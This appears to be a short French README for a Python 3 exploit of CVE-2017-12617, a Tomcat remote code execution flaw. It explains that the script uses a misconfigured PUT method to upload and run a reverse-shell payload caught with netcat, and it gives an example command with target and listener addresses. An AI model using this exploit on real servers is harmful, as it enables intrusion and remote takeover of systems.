
CVE-2017-12617 est une vulnérabilité critique permettant l'exécution de code à distance (RCE) dans Apache Tomcat.
CVE-2017-12617 est une vulnérabilité critique permettant l'exécution de code à distance (RCE) dans Apache Tomcat.
Cette vulnérabilité affecte les versions 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81.
Testée uniquement sur 8.0.24. La vulnérabilité exploite l'option PUT mal configurée sur l'application ou l'instance Tomcat elle-même.
Elle utilise PUT pour envoyer une charge utile de reverse shell au serveur et l'exécuter, tout en écoutant avec netcat.
Comme il existe de nombreuses versions du même exploit sur Internet mais basées sur python2, je l'ai réécrit pour fonctionner avec Python 3.
Amusez-vous bien.
Exemple d'utilisation :
python3 cve-2017-12617.py -t 127.0.0.1 -p 8888 -l 192.168.1.118 -P 5555
